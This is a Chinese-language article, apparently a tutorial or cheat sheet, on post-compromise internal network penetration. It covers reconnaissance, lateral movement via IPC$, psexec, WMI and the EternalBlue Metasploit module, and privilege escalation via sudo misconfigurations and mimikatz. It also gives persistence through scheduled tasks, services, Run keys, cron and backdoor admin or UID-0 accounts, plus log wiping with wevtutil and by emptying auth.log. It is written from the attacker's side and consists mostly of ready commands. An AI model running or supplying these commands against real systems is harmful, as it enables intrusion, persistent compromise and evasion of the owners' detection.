内网渗透是网络安全领域中的重要环节,攻击者通常在获取外网入口后,会通过一系列命令和技术手段在内网中进行横向移动、权限提升和目标获取,内网渗透过程中,常用命令涵盖了信息收集、横向移动、权限维持、权限提升等多个阶段,这些命令通常结合Windows和Linux系统的特性,通过命令行工具或脚本实现高效操作,以下将从不同阶段详细列举内网渗透中常用的命令及使用场景。

在信息收集阶段,攻击者首先需要了解内网的基本架构,包括网段划分、活跃主机、开放端口和操作系统类型等,对于Windows系统,使用ipconfig /all
可以获取本机IP配置信息,包括IP地址、子网掩码、默认网关和DNS服务器,从而判断内网网段,通过arp -a
命令可以查看本地ARP缓存,获取网段内其他主机的IP与MAC地址对应关系,用于识别活跃主机,对于网络连接状态,netstat -ano
能够显示当前TCP/UDP连接及监听端口,结合任务管理器中的PID信息,可定位可疑进程,若需扫描网段内存活主机,可使用for /L %i in (1,1,254) do ping -n 1 -w 1 192.168.1.%i | find "TTL="
(Windows批处理)或nmap -sn 192.168.1.0/24
(Linux安装nmap后),在Linux系统中,ifconfig
或ip addr
用于查看网络接口信息,netstat -tuln
显示监听端口,nmap -sP 192.168.1.0/24
可快速扫描存活主机。net view
命令可查看域内工作组计算机列表,net user /domain
获取域用户信息,nltest /domain_trusts
则用于查询域信任关系,这些命令对域环境信息收集至关重要。
横向移动阶段是内网渗透的核心,攻击者需要获取其他主机的访问权限以扩大控制范围,在Windows环境中,net use
命令常用于建立IPC$共享连接,例如net use \\192.168.1.10\ipc$ "password" /user:"administrator"
,之后可通过copy C:\test.exe \\192.168.1.10\admin$
上传文件,若存在明文密码或哈希,使用psexec.exe \\192.168.1.10 -u administrator -p password cmd.exe
(Sysinternals工具)可实现远程命令执行,对于PowerShell,Invoke-Command -ComputerName 192.168.1.10 -ScriptBlock {whoami}
可远程执行命令,但需启用WinRM服务,在Linux中,ssh username@192.168.1.10
是远程登录的常用方式,若存在密钥认证,可通过-i
参数指定私钥文件,利用SMB协议,smbclient -L \\192.168.1.10 -U administrator
可列出共享资源,smbclient \\192.168.1.10\share -U "administrator%password"
则可访问共享目录,若目标系统存在漏洞,如永恒之蓝(MS17-010),可使用metasploit
框架中的exploit/windows/smb/ms17_010_eternalblue
模块进行攻击,获取shell。
权限提升阶段旨在获取更高权限,以便访问敏感资源或控制系统,Windows系统中,systeminfo
命令可查看系统补丁信息,帮助判断是否存在可利用的提权漏洞,如未打补丁的PrintSpooler或Win32k漏洞,利用whoami /priv
可查看当前用户权限,若SeDebugPrivilege权限存在,可通过mimikatz
等工具窃取系统进程的凭据,对于内核提权,Windows-Exploit-Suggester.py
工具可根据系统版本匹配已知提权漏洞,使用python windows-exploit-suggester.py --systeminfo systeminfo.txt -d 2023-exploitdb.csv
生成可利用漏洞列表,在Linux中,sudo -l
可查看当前用户可执行的sudo命令,若配置不当(如NOPASSWD: ALL
),可直接通过sudo /bin/bash
获取root权限,内核漏洞提权可使用Linux Exploit Suggester
工具,或手动检查/proc/version
中的内核版本信息,搜索对应漏洞利用代码,环境变量劫持、服务权限配置错误等也是常见的提权途径,例如通过修改PATH
变量劫持可执行文件,或利用AlwaysInstallElevated
组策略漏洞安装恶意MSI包。
权限维持阶段确保攻击者能够长期控制目标系统,避免因重启或修复操作导致权限丢失,Windows中,可通过添加计划任务实现持久化,例如schtasks /create /tn "Update" /tr "C:\Windows\Temp\backdoor.exe" /sc onlogon /ru SYSTEM
,设置在用户登录时执行恶意程序,利用服务自启动,sc create Backdoor binPath= "C:\Windows\Temp\backdoor.exe" start= auto
可创建开机自启服务,对于PowerShell,可使用Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Backdoor" -Value "C:\Windows\Temp\backdoor.exe"
修改注册表实现启动项持久化,在Linux中,可通过修改/etc/crontab
文件添加定时任务,例如* * * * * root /usr/bin/backdoor.sh
,每分钟执行一次脚本,也可将恶意脚本加入/etc/profile
或~/.bashrc
文件,确保用户登录时自动加载,后门账户也是常用的维持方式,Windows中可通过net user hacker P@ssw0rd /add && net localgroup administrators hacker /add
添加管理员账户,Linux中则使用useradd -o -u 0 hacker
创建UID为0的root用户。

在内网渗透过程中,攻击者还需要注意痕迹清理和日志规避,避免被检测系统发现,Windows事件日志可通过wevtutil qe Security /q:"*[System[(EventID=4624)]]"
查询登录事件,攻击者可利用wevtutil cl Security
清除安全日志(需管理员权限),在Linux中,last
命令查看登录历史,cat /var/log/auth.log
或journalctl -u ssh
查看SSH登录日志,攻击者可通过echo > /var/log/auth.log
清空日志,利用Invoke-Phant0m
(PowerShell工具)可禁用Windows事件日志,或通过修改注册表隐藏敏感操作记录。
以下为内网渗透常用命令的简要总结表格:
阶段 | Windows命令示例 | Linux命令示例 | 功能说明 |
---|---|---|---|
信息收集 | ipconfig /all, netstat -ano | ifconfig, netstat -tuln | 获取网络配置、连接状态 |
存活主机扫描 | for /L %i in (1,1,254) do ping ... | nmap -sn 192.168.1.0/24 | 扫描网段内活跃主机 |
域信息收集 | net user /domain, nltest /domain_trusts | enum4linux -a 192.168.1.10 | 获取域用户、信任关系 |
横向移动 | net use \ip\ipc$, psexec \ip -u ... | ssh user@ip, smbclient \ip\share | 远程连接、文件传输、命令执行 |
权限提升 | systeminfo, whoami /priv | sudo -l, uname -a | 查看系统信息、用户权限、内核版本 |
权限维持 | schtasks /create, sc create | crontab -e, echo >> /etc/profile | 创建计划任务、服务自启、启动项修改 |
日志清理 | wevtutil cl Security, eventclear | echo > /var/log/auth.log, journalctl --vacuum-time=1d | 清除事件日志、系统日志 |
相关问答FAQs:
Q1: 内网渗透中如何快速判断目标系统是否存在漏洞?
A1: 可通过以下步骤快速判断:① 使用systeminfo
(Windows)或uname -a
(Linux)获取系统版本和补丁信息;② 利用漏洞扫描工具如Nmap
的脚本扫描功能(nmap --script vuln <target>
)检测已知漏洞;③ 使用专门的漏洞利用建议工具,如Windows-Exploit-Suggester.py
或Linux-Exploit-Suggester
,将系统信息与漏洞数据库匹配,生成可利用的漏洞列表;④ 结合手动检查,如查看常见未打补丁的服务(如SMB、RDP、SQL Server等)版本信息,判断是否存在公开漏洞利用代码。

Q2: 在横向移动过程中,若目标系统禁用了PowerShell或限制远程访问,有哪些替代方案?
A2: 若PowerShell被禁用或远程访问受限,可采取以下替代方案:① 使用WMI(Windows Management Instrumentation)进行远程操作,例如wmic /node:192.168.1.10 process call create "cmd.exe /c net user"
,通过WMI执行命令且无需开启WinRM或PowerShell;② 利用SMB共享和计划任务,如copy backdoor.exe \\192.168.1.10\c$\ && schtasks /create /s 192.168.1.10 /tn "Task" /tr "c:\backdoor.exe" /sc once /st 00:00 /ru SYSTEM
,通过计划任务执行恶意程序;③ 尝试其他协议如RDP(若存在弱口令)、SSH(Linux系统)或FTP进行文件传输和远程执行;④ 使用第三方工具如Cobalt Strike
的beacon
代理,通过HTTP/S、DNS等隐蔽通道进行通信,绕过网络限制。